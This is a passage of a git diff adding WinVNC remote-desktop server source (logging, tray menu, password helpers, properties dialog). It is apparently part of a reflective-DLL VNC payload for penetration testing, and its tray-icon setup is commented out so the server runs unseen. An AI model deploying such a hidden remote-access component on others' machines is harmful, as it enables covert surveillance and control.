); + } +} + +// if a log file is open, close it now. +void VNCLog::CloseFile() { + if (hlogfile != NULL) { + CloseHandle(hlogfile); + hlogfile = NULL; + } +} + +inline void VNCLog::ReallyPrintLine(const char* line) +{ + if (m_todebug) OutputDebugString(line); + if (m_toconsole) { + DWORD byteswritten; + WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), line, strlen(line), &byteswritten, NULL); + }; + if (m_tofile && (hlogfile != NULL)) { + DWORD byteswritten; + WriteFile(hlogfile, line, strlen(line), &byteswritten, NULL); + } +} + +void VNCLog::ReallyPrint(const char* format, va_list ap) +{ + time_t current = time(0); + if (current != m_lastLogTime) { + m_lastLogTime = current; + ReallyPrintLine(ctime(&m_lastLogTime)); + } + + // - Write the log message, safely, limiting the output buffer size + TCHAR line[LINE_BUFFER_SIZE]; + _vsnprintf(line, LINE_BUFFER_SIZE, format, ap); + ReallyPrintLine(line); +} + +VNCLog::~VNCLog() +{ + if (m_filename != NULL) + free(m_filename); + CloseFile(); +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vnclog.h b/external/source/reflective_vncdll/winvnc/winvnc/vnclog.h new file mode 100644 index 0000000000..f4c9ebd0d0 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vnclog.h @@ -0,0 +1,98 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +// This is an object and macros which provide general logging and debugging functions. +// It can log to a file, to a new console, and/or to debug - others maybe to follow. +// Every log object has a logging level (which can be changed). +// Only log requests with a high enough level attached get logged. So the +// level can be thought of as 'amount of detail'. +// We use Unicode-portable stuff here for compatibility with WinCE. +// +// Typical use: +// +// Log log; +// log.SetFile( _T("myapp.log") ); +// ... +// log.Print(2, _T("x = %d\n"), x); +// + +#ifndef VNCLOGGING +#define VNCLOGGING + +#include +#include +#include + +class VNCLog +{ +public: + // Logging mode flags: + static const int ToDebug; + static const int ToFile; + static const int ToConsole; + + // Create a new log object. + // Parameters as follows: + // mode - specifies where output should go, using combination + // of flags above. + // level - the default level + // filename - if flag Log::ToFile is specified in the type, + // a filename must be specified here. + // append - if logging to a file, whether or not to append to any + // existing log. + VNCLog(); + + inline void Print(int level, const char* format, ...) { + if (level > m_level) return; + va_list ap; + va_start(ap, format); + ReallyPrint(format, ap); + va_end(ap); + } + + // Change the log level + void SetLevel(int level); + + // Change the logging mode + void SetMode(int mode); + + // Change or set the logging filename. This only has an effect if + // the log mode includes ToFile + void SetFile(const char* filename, bool append = false); + + virtual ~VNCLog(); + +private: + void ReallyPrintLine(const char* line); + void ReallyPrint(const char* format, va_list ap); + void OpenFile(); + void CloseFile(); + bool m_tofile, m_todebug, m_toconsole; + int m_level; + HANDLE hlogfile; + LPSTR m_filename; + bool m_append; + + time_t m_lastLogTime; +}; + +#endif // VNCLOGGING \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncmenu.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncmenu.cpp new file mode 100644 index 0000000000..dbe8ec0c4c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncmenu.cpp @@ -0,0 +1,655 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncMenu + +// Implementation of a system tray icon & menu for WinVNC + +#include "stdhdrs.h" +#include "WinVNC.h" +#include "vncService.h" +#include "vncConnDialog.h" +#include +#include +#include + +// Header + +#include "vncMenu.h" + +// Constants +const UINT MENU_PROPERTIES_SHOW = RegisterWindowMessage("WinVNC.Properties.User.Show"); +const UINT MENU_DEFAULT_PROPERTIES_SHOW = RegisterWindowMessage("WinVNC.Properties.Default.Show"); +const UINT MENU_ABOUTBOX_SHOW = RegisterWindowMessage("WinVNC.AboutBox.Show"); +const UINT MENU_SERVICEHELPER_MSG = RegisterWindowMessage("WinVNC.ServiceHelper.Message"); +const UINT MENU_ADD_CLIENT_MSG = RegisterWindowMessage("WinVNC.AddClient.Message"); +const UINT MENU_REMOVE_CLIENTS_MSG = RegisterWindowMessage("WinVNC.RemoveClients.Message"); +const char *MENU_CLASS_NAME = "WinVNC Tray Icon"; + +bool g_restore_ActiveDesktop = false; + +static void +KillActiveDesktop() +{ + //vnclog.Print(LL_INTERR, VNCLOG("KillActiveDesktop\n")); + + // Contact Active Desktop if possible + HRESULT result; + IActiveDesktop* active_desktop = 0; + result = CoCreateInstance(CLSID_ActiveDesktop, NULL, CLSCTX_INPROC_SERVER, + IID_IActiveDesktop, (void**)&active_desktop); + if (result != S_OK) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to access Active Desktop object:%x\n"), result); + return; + } + + // Get Active Desktop options + COMPONENTSOPT options; + options.dwSize = sizeof(options); + result = active_desktop->GetDesktopItemOptions(&options, 0); + if (result != S_OK) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to fetch Active Desktop options:%x\n"), result); + active_desktop->Release(); + return; + } + + // Disable if currently active + g_restore_ActiveDesktop = options.fActiveDesktop; + if (options.fActiveDesktop) { + //vnclog.Print(LL_INTINFO, VNCLOG("attempting to disable Active Desktop\n")); + options.fActiveDesktop = FALSE; + result = active_desktop->SetDesktopItemOptions(&options, 0); + if (result != S_OK) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to disable Active Desktop:%x\n"), result); + active_desktop->Release(); + return; + } + }// else { + // //vnclog.Print(LL_INTINFO, VNCLOG("Active Desktop not enabled - ignoring\n")); + //} + + active_desktop->ApplyChanges(AD_APPLY_REFRESH); + active_desktop->Release(); +} + +static void +KillWallpaper() +{ + KillActiveDesktop(); + + // Tell all applications that there is no wallpaper + // Note that this doesn't change the wallpaper registry setting! + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "", SPIF_SENDCHANGE); +} + +static void +RestoreActiveDesktop() +{ + // Contact Active Desktop if possible + HRESULT result; + IActiveDesktop* active_desktop = 0; + result = CoCreateInstance(CLSID_ActiveDesktop, NULL, CLSCTX_INPROC_SERVER, + IID_IActiveDesktop, (void**)&active_desktop); + if (result != S_OK) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to access Active Desktop object:%x\n"), result); + return; + } + + // Get Active Desktop options + COMPONENTSOPT options; + options.dwSize = sizeof(options); + result = active_desktop->GetDesktopItemOptions(&options, 0); + if (result != S_OK) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to fetch Active Desktop options:%x\n"), result); + active_desktop->Release(); + return; + } + + // Re-enable if previously disabled + if (g_restore_ActiveDesktop) { + g_restore_ActiveDesktop = false; + //vnclog.Print(LL_INTINFO, VNCLOG("attempting to re-enable Active Desktop\n")); + options.fActiveDesktop = TRUE; + result = active_desktop->SetDesktopItemOptions(&options, 0); + if (result != S_OK) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to re-enable Active Desktop:%x\n"), result); + active_desktop->Release(); + return; + } + } + + active_desktop->ApplyChanges(AD_APPLY_REFRESH); + active_desktop->Release(); +} + +static void +RestoreWallpaper() +{ + RestoreActiveDesktop(); + SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, NULL, SPIF_SENDCHANGE); +} + +// Implementation + +vncMenu::vncMenu(vncServer *server) +{ + CoInitialize(0); + + // Save the server pointer + m_server = server; + + // Set the initial user name to something sensible... + vncService::CurrentUser((char *)&m_username, sizeof(m_username)); + + // Create a dummy window to handle tray icon messages + WNDCLASSEX wndclass; + + wndclass.cbSize = sizeof(wndclass); + wndclass.style = 0; + wndclass.lpfnWndProc = vncMenu::WndProc; + wndclass.cbClsExtra = 0; + wndclass.cbWndExtra = 0; + wndclass.hInstance = hAppInstance; + wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); + wndclass.hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH); + wndclass.lpszMenuName = (const char *) NULL; + wndclass.lpszClassName = MENU_CLASS_NAME; + wndclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + RegisterClassEx(&wndclass); + + m_hwnd = CreateWindow(MENU_CLASS_NAME, + MENU_CLASS_NAME, + WS_OVERLAPPEDWINDOW, + CW_USEDEFAULT, + CW_USEDEFAULT, + 200, 200, + NULL, + NULL, + hAppInstance, + NULL); + if (m_hwnd == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to CreateWindow:%d\n"), GetLastError()); + PostQuitMessage(0); + return; + } + + // Timer to trigger icon updating + SetTimer(m_hwnd, 1, 5000, NULL); + + // record which client created this window + SetWindowLong(m_hwnd, GWL_USERDATA, (LONG) this); + + // Ask the server object to notify us of stuff + server->AddNotify(m_hwnd); + + // Initialise the properties dialog object + if (!m_properties.Init(m_server)) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to initialise Properties dialog\n")); + PostQuitMessage(0); + return; + } + + // Load the icons for the tray + m_winvnc_icon = LoadIcon(hAppInstance, MAKEINTRESOURCE(IDI_WINVNC)); + m_flash_icon = LoadIcon(hAppInstance, MAKEINTRESOURCE(IDI_FLASH)); + + // Load the popup menu + m_hmenu = LoadMenu(hAppInstance, MAKEINTRESOURCE(IDR_TRAYMENU)); + + // Install the tray icon! XXX + //AddTrayIcon(); +} + +vncMenu::~vncMenu() +{ + // Remove the tray icon + DelTrayIcon(); + + // Destroy the loaded menu + if (m_hmenu != NULL) + DestroyMenu(m_hmenu); + + // Tell the server to stop notifying us! + if (m_server != NULL) + m_server->RemNotify(m_hwnd); +} + +void +vncMenu::AddTrayIcon() +{ + // If the user name is non-null then we have a user! + if (strcmp(m_username, "") != 0) + SendTrayMsg(NIM_ADD, FALSE); +} + +void +vncMenu::DelTrayIcon() +{ + SendTrayMsg(NIM_DELETE, FALSE); +} + +void +vncMenu::FlashTrayIcon(BOOL flash) +{ + SendTrayMsg(NIM_MODIFY, flash); +} + +// Get the local ip addresses as a human-readable string. +// If more than one, then with \n between them. +// If not available, then gets a message to that effect. +void GetIPAddrString(char *buffer, int buflen) { + char namebuf[256]; + + if (gethostname(namebuf, 256) != 0) { + strncpy(buffer, "Host name unavailable", buflen); + return; + }; + + HOSTENT *ph = gethostbyname(namebuf); + if (!ph) { + strncpy(buffer, "IP address unavailable", buflen); + return; + }; + + *buffer = '\0'; + char digtxt[5]; + for (int i = 0; ph->h_addr_list[i]; i++) { + for (int j = 0; j < ph->h_length; j++) { + sprintf(digtxt, "%d.", (unsigned char) ph->h_addr_list[i][j]); + strncat(buffer, digtxt, (buflen-1)-strlen(buffer)); + } + buffer[strlen(buffer)-1] = '\0'; + if (ph->h_addr_list[i+1] != 0) + strncat(buffer, ", ", (buflen-1)-strlen(buffer)); + } +} + +void +vncMenu::SendTrayMsg(DWORD msg, BOOL flash) +{ + // Create the tray icon message + m_nid.hWnd = m_hwnd; + m_nid.cbSize = sizeof(m_nid); + m_nid.uID = IDI_WINVNC; // never changes after construction + m_nid.hIcon = flash ? m_flash_icon : m_winvnc_icon; + m_nid.uFlags = NIF_ICON | NIF_MESSAGE; + m_nid.uCallbackMessage = WM_TRAYNOTIFY; + + // Use resource string as tip if there is one + if (LoadString(hAppInstance, IDI_WINVNC, m_nid.szTip, sizeof(m_nid.szTip))) + { + m_nid.uFlags |= NIF_TIP; + } + + // Try to add the server's IP addresses to the tip string, if possible + if (m_nid.uFlags & NIF_TIP) + { + strncat(m_nid.szTip, " - ", (sizeof(m_nid.szTip)-1)-strlen(m_nid.szTip)); + + if (m_server->SockConnected()) + { + unsigned long tiplen = strlen(m_nid.szTip); + char *tipptr = ((char *)&m_nid.szTip) + tiplen; + + GetIPAddrString(tipptr, sizeof(m_nid.szTip) - tiplen); + } + else + { + strncat(m_nid.szTip, "Not listening", (sizeof(m_nid.szTip)-1)-strlen(m_nid.szTip)); + } + } + + // Send the message + if (Shell_NotifyIcon(msg, &m_nid)) + { + // Set the enabled/disabled state of the menu items + //vnclog.Print(LL_INTINFO, VNCLOG("tray icon added ok\n")); + + EnableMenuItem(m_hmenu, ID_PROPERTIES, + m_properties.AllowProperties() ? MF_ENABLED : MF_GRAYED); + EnableMenuItem(m_hmenu, ID_CLOSE, + m_properties.AllowShutdown() ? MF_ENABLED : MF_GRAYED); + EnableMenuItem(m_hmenu, ID_KILLCLIENTS, + m_properties.AllowEditClients() ? MF_ENABLED : MF_GRAYED); + EnableMenuItem(m_hmenu, ID_OUTGOING_CONN, + m_properties.AllowEditClients() ? MF_ENABLED : MF_GRAYED); + } else { + if (!vncService::RunningAsService()) + { + if (msg == NIM_ADD) + { + // The tray icon couldn't be created, so use the Properties dialog + // as the main program window + //vnclog.Print(LL_INTINFO, VNCLOG("opening dialog box\n")); + m_properties.Show(TRUE, TRUE); + //vnclog.Print(LL_INTERR, VNCLOG("unable to add tray icon\n"), GetLastError()); + PostQuitMessage(0); + } + } + } +} + +// Process window messages +LRESULT CALLBACK vncMenu::WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) +{ + // This is a static method, so we don't know which instantiation we're + // dealing with. We use Allen Hadden's (ahadden@taratec.com) suggestion + // from a newsgroup to get the pseudo-this. + vncMenu *_this = (vncMenu *) GetWindowLong(hwnd, GWL_USERDATA); + + switch (iMsg) + { + + // Every five seconds, a timer message causes the icon to update + case WM_TIMER: + // *** HACK for running servicified + if (vncService::RunningAsService()) { + // Attempt to add the icon if it's not already there + _this->AddTrayIcon(); + // Trigger a check of the current user + PostMessage(hwnd, WM_USERCHANGED, 0, 0); + } + + // Update the icon + _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); + break; + + // DEAL WITH NOTIFICATIONS FROM THE SERVER: + case WM_SRV_CLIENT_AUTHENTICATED: + case WM_SRV_CLIENT_DISCONNECT: + // Adjust the icon accordingly + _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); + + if (_this->m_server->AuthClientCount() != 0) { + if (_this->m_server->RemoveWallpaperEnabled()) + KillWallpaper(); + } else { + RestoreWallpaper(); + } + return 0; + + // STANDARD MESSAGE HANDLING + case WM_CREATE: + return 0; + + case WM_COMMAND: + // User has clicked an item on the tray menu + switch (LOWORD(wParam)) + { + + case ID_DEFAULT_PROPERTIES: + // Show the default properties dialog, unless it is already displayed + //vnclog.Print(LL_INTINFO, VNCLOG("show default properties requested\n")); + _this->m_properties.Show(TRUE, FALSE); + _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); + break; + + + case ID_PROPERTIES: + // Show the properties dialog, unless it is already displayed + //vnclog.Print(LL_INTINFO, VNCLOG("show user properties requested\n")); + _this->m_properties.Show(TRUE, TRUE); + _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); + break; + + case ID_OUTGOING_CONN: + // Connect out to a listening VNC viewer + { + vncConnDialog *newconn = new vncConnDialog(_this->m_server); + if (newconn) + newconn->DoDialog(); + } + break; + + case ID_KILLCLIENTS: + // Disconnect all currently connected clients + _this->m_server->KillAuthClients(); + break; + + case ID_ABOUT: + // Show the About box + _this->m_about.Show(TRUE); + break; + + case ID_CLOSE: + // User selected Close from the tray menu + PostMessage(hwnd, WM_CLOSE, 0, 0); + break; + + } + return 0; + + case WM_TRAYNOTIFY: + // User has clicked on the tray icon or the menu + { + // Get the submenu to use as a pop-up menu + HMENU submenu = GetSubMenu(_this->m_hmenu, 0); + + // What event are we responding to, RMB click? + if (lParam==WM_RBUTTONUP) + { + if (submenu == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("no submenu available\n")); + return 0; + } + + // Make the first menu item the default (bold font) + SetMenuDefaultItem(submenu, 0, TRUE); + + // Get the current cursor position, to display the menu at + POINT mouse; + GetCursorPos(&mouse); + + // There's a "bug" + // (Microsoft calls it a feature) in Windows 95 that requires calling + // SetForegroundWindow. To find out more, search for Q135788 in MSDN. + // + SetForegroundWindow(_this->m_nid.hWnd); + + // Display the menu at the desired position + TrackPopupMenu(submenu, + 0, mouse.x, mouse.y, 0, + _this->m_nid.hWnd, NULL); + + return 0; + } + + // Or was there a LMB double click? + if (lParam==WM_LBUTTONDBLCLK) + { + // double click: execute first menu item + SendMessage(_this->m_nid.hWnd, + WM_COMMAND, + GetMenuItemID(submenu, 0), + 0); + } + + return 0; + } + + case WM_CLOSE: + + // Only accept WM_CLOSE if the logged on user has AllowShutdown set + if (!_this->m_properties.AllowShutdown()) + return 0; + break; + + case WM_DESTROY: + // The user wants WinVNC to quit cleanly... + //vnclog.Print(LL_INTERR, VNCLOG("quitting from WM_DESTROY\n")); + PostQuitMessage(0); + return 0; + + case WM_QUERYENDSESSION: + //vnclog.Print(LL_INTERR, VNCLOG("WM_QUERYENDSESSION\n")); + break; + + case WM_ENDSESSION: + //vnclog.Print(LL_INTERR, VNCLOG("WM_ENDSESSION\n")); + break; + +/* + case WM_ENDSESSION: + // Are we running as a system service, or shutting the system down? + if (wParam && (lParam == 0)) + { + // Shutdown! + // Try to clean ourselves up nicely, if possible... + + // Firstly, disable incoming CORBA or socket connections + _this->m_server->SockConnect(FALSE); + _this->m_server->CORBAConnect(FALSE); + + // Now kill all the server's clients + _this->m_server->KillAuthClients(); + _this->m_server->KillUnauthClients(); + _this->m_server->WaitUntilAuthEmpty(); + _this->m_server->WaitUntilUnauthEmpty(); + } + + // Tell the OS that we've handled it anyway + return 0; + */ + + case WM_USERCHANGED: + // The current user may have changed. + { + char newuser[UNLEN+1]; + + if (vncService::CurrentUser((char *) &newuser, sizeof(newuser))) + { + //vnclog.Print(LL_INTINFO, + // VNCLOG("usernames : old=\"%s\", new=\"%s\"\n"), + // _this->m_username, newuser); + + // Check whether the user name has changed! + if (strcmp(newuser, _this->m_username) != 0) + { + //vnclog.Print(LL_INTINFO, + // VNCLOG("user name has changed\n")); + + // User has changed! + strcpy(_this->m_username, newuser); + + // Redraw the tray icon and set it's state + _this->DelTrayIcon(); + _this->AddTrayIcon(); + _this->FlashTrayIcon(_this->m_server->AuthClientCount() != 0); + + // We should load in the prefs for the new user + _this->m_properties.Load(TRUE); + } + } + } + return 0; + + default: + // Deal with any of our custom message types + if (iMsg == MENU_PROPERTIES_SHOW) + { + // External request to show our Properties dialog + PostMessage(hwnd, WM_COMMAND, MAKELONG(ID_PROPERTIES, 0), 0); + return 0; + } + if (iMsg == MENU_DEFAULT_PROPERTIES_SHOW) + { + // External request to show our Properties dialog + PostMessage(hwnd, WM_COMMAND, MAKELONG(ID_DEFAULT_PROPERTIES, 0), 0); + return 0; + } + if (iMsg == MENU_ABOUTBOX_SHOW) + { + // External request to show our About dialog + PostMessage(hwnd, WM_COMMAND, MAKELONG(ID_ABOUT, 0), 0); + return 0; + } + if (iMsg == MENU_SERVICEHELPER_MSG) + { + // External ServiceHelper message. + // This message holds a process id which we can use to + // impersonate a specific user. In doing so, we can load their + // preferences correctly + vncService::ProcessUserHelperMessage(wParam, lParam); + + // - Trigger a check of the current user + PostMessage(hwnd, WM_USERCHANGED, 0, 0); + return 0; + } + if (iMsg == MENU_ADD_CLIENT_MSG) + { + // Add Client message. This message includes an IP address + // of a listening client, to which we should connect. + + // If there is no IP address then show the connection dialog + if (!lParam) { + vncConnDialog *newconn = new vncConnDialog(_this->m_server); + if (newconn) newconn->DoDialog(); + return 0; + } + + // Get the IP address stringified + struct in_addr address; + address.S_un.S_addr = lParam; + char *name = inet_ntoa(address); + if (name == 0) + return 0; + char *nameDup = strdup(name); + if (nameDup == 0) + return 0; + + // Attempt to create a new socket + VSocket *tmpsock; + tmpsock = new VSocket; + if (tmpsock) { + + // Connect out to the specified host on the VNCviewer listen port + tmpsock->Create(); + if (tmpsock->Connect(nameDup, INCOMING_PORT_OFFSET)) { + // Add the new client to this server + _this->m_server->AddClient(tmpsock, TRUE, TRUE); + } else { + delete tmpsock; + } + } + + // Free the duplicate name + free(nameDup); + return 0; + } + if (iMsg == MENU_REMOVE_CLIENTS_MSG) + { + // Kill all connected clients + _this->m_server->KillAuthClients(); + } + } + + // Message not recognised + return DefWindowProc(hwnd, iMsg, wParam, lParam); +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncmenu.h b/external/source/reflective_vncdll/winvnc/winvnc/vncmenu.h new file mode 100644 index 0000000000..dd53b97470 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncmenu.h @@ -0,0 +1,90 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncMenu + +// This class handles creation of a system-tray icon & menu + +class vncMenu; + +#if (!defined(_WINVNC_VNCMENU)) +#define _WINVNC_VNCMENU + +#include "stdhdrs.h" +#include +#include "vncServer.h" +#include "vncProperties.h" +#include "vncAbout.h" + +// Constants +extern const UINT MENU_PROPERTIES_SHOW; +extern const UINT MENU_DEFAULT_PROPERTIES_SHOW; +extern const UINT MENU_ABOUTBOX_SHOW; +extern const UINT MENU_SERVICEHELPER_MSG; +extern const UINT MENU_ADD_CLIENT_MSG; +extern const char *MENU_CLASS_NAME; + +// The tray menu class itself +class vncMenu +{ +public: + vncMenu(vncServer *server); + ~vncMenu(); +protected: + // Tray icon handling + void AddTrayIcon(); + void DelTrayIcon(); + void FlashTrayIcon(BOOL flash); + void SendTrayMsg(DWORD msg, BOOL flash); + + // Message handler for the tray window + static LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam); + + // Fields +protected: + // Check that the password has been set + void CheckPassword(); + + // The server that this tray icon handles + vncServer *m_server; + + // Properties object for this server + vncProperties m_properties; + + // About dialog for this server + vncAbout m_about; + + HWND m_hwnd; + HMENU m_hmenu; + NOTIFYICONDATA m_nid; + + char m_username[UNLEN+1]; + + // The icon handles + HICON m_winvnc_icon; + HICON m_flash_icon; +}; + + +#endif \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncpasswd.h b/external/source/reflective_vncdll/winvnc/winvnc/vncpasswd.h new file mode 100644 index 0000000000..30fcbaaab0 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncpasswd.h @@ -0,0 +1,102 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncPasswd + +// This header provides helpers for handling encrypted password data. +// The password handling routines found in vncauth.h should not be used directly + +class vncPasswd; + +#if (!defined(_WINVNC_VNCPASSWD)) +#define _WINVNC_VNCPASSWD + +#include "stdhdrs.h" +extern "C" { +#include "vncauth.h" +} + +// Password handling helper class +class vncPasswd +{ +public: + + // Password decryptor! + class ToText + { + public: + inline ToText(const char encrypted[MAXPWLEN]) + { + //vnclog.Print(LL_INTINFO, VNCLOG("PASSWD : ToText called\n")); + plaintext = vncDecryptPasswd((char *)encrypted); + } + inline ~ToText() + { + if (plaintext != NULL) + { + ZeroMemory(plaintext, strlen(plaintext)); + free(plaintext); + } + } + inline operator const char*() const {return plaintext;}; + private: + char *plaintext; + }; + + class FromText + { + public: + inline FromText(char *unencrypted) + { + //vnclog.Print(LL_INTINFO, VNCLOG("PASSWD : FromText called\n")); + vncEncryptPasswd(unencrypted, encrypted); + ZeroMemory(unencrypted, strlen(unencrypted)); + } + inline ~FromText() + { + } + inline operator const char*() const {return encrypted;}; + private: + char encrypted[MAXPWLEN]; + }; + + class FromClear + { + public: + inline FromClear() + { + //vnclog.Print(LL_INTINFO, VNCLOG("PASSWD : FromClear called\n")); + vncEncryptPasswd("", encrypted); + } + inline ~FromClear() + { + } + inline operator const char*() const {return encrypted;}; + private: + char encrypted[MAXPWLEN]; + }; +}; + +#endif \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncproperties.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncproperties.cpp new file mode 100644 index 0000000000..c94c5952aa --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncproperties.cpp @@ -0,0 +1,1076 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncProperties.cpp + +// Implementation of the Properties dialog! + +#include "stdhdrs.h" +#include "lmcons.h" +#include "vncService.h" + +#include "WinVNC.h" +#include "vncProperties.h" +#include "vncServer.h" +#include "vncPasswd.h" + +const char WINVNC_REGISTRY_KEY [] = "Software\\ORL\\WinVNC3"; +const char NO_PASSWORD_WARN [] = "WARNING : Running WinVNC without setting a password is " + "a dangerous security risk!\n" + "Until you set a password, WinVNC will not accept incoming connections."; +const char NO_OVERRIDE_ERR [] = "This machine has been preconfigured with WinVNC settings, " + "which cannot be overridden by individual users. " + "The preconfigured settings may be modified only by a System Administrator."; +const char NO_PASSWD_NO_OVERRIDE_ERR [] = + "No password has been set & this machine has been " + "preconfigured to prevent users from setting their own.\n" + "You must contact a System Administrator to configure WinVNC properly."; +const char NO_PASSWD_NO_OVERRIDE_WARN [] = + "WARNING : This machine has been preconfigured to allow un-authenticated\n" + "connections to be accepted and to prevent users from enabling authentication."; +const char NO_PASSWD_NO_LOGON_WARN [] = + "WARNING : This machine has no default password set. WinVNC will present the " + "Default Properties dialog now to allow one to be entered."; +const char NO_CURRENT_USER_ERR [] = "The WinVNC settings for the current user are unavailable at present."; +const char CANNOT_EDIT_DEFAULT_PREFS [] = "You do not have sufficient priviliges to edit the default local WinVNC settings."; + +// Constructor & Destructor +vncProperties::vncProperties() +{ + m_alloweditclients = TRUE; + m_allowproperties = TRUE; + m_allowshutdown = TRUE; + m_dlgvisible = FALSE; + m_usersettings = TRUE; + + m_pref_QuerySetting=2; + m_pref_QueryTimeout=10; + m_pref_IdleTimeout=0; + m_pref_EnableRemoteInputs=TRUE; + m_pref_DisableLocalInputs=FALSE; + m_pref_PollUnderCursor=FALSE; + m_pref_PollForeground=FALSE; + m_pref_PollFullScreen=TRUE; +} + +vncProperties::~vncProperties() +{ +} + +// Initialisation +BOOL +vncProperties::Init(vncServer *server) +{ + // Save the server pointer + m_server = server; + + // Load the settings from the registry + Load(TRUE); + + // If the password is empty then always show a dialog + char passwd[MAXPWLEN]; + m_server->GetPassword(passwd); + { + vncPasswd::ToText plain(passwd); + if (strlen(plain) == 0) + if (!m_allowproperties) { + if(m_server->AuthRequired()) { + MessageBox(NULL, NO_PASSWD_NO_OVERRIDE_ERR, + "WinVNC Error", + MB_OK | MB_ICONSTOP); + 